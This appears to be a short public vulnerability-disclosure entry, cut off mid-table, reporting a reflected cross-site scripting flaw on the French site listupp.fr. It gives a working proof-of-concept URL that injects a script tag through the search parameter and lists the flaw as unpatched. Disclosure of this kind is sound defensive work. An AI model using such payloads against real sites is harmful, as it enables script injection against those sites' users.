listupp.fr XSS vulnerability

Vulnerable URL: http://listupp.fr/rechercher/?q=%27%22%3E%3Cscript%3Ealert%28%27OPENBUGBOUNTY%27%29%3C%2Fscript%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 03.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 574559 VIP website...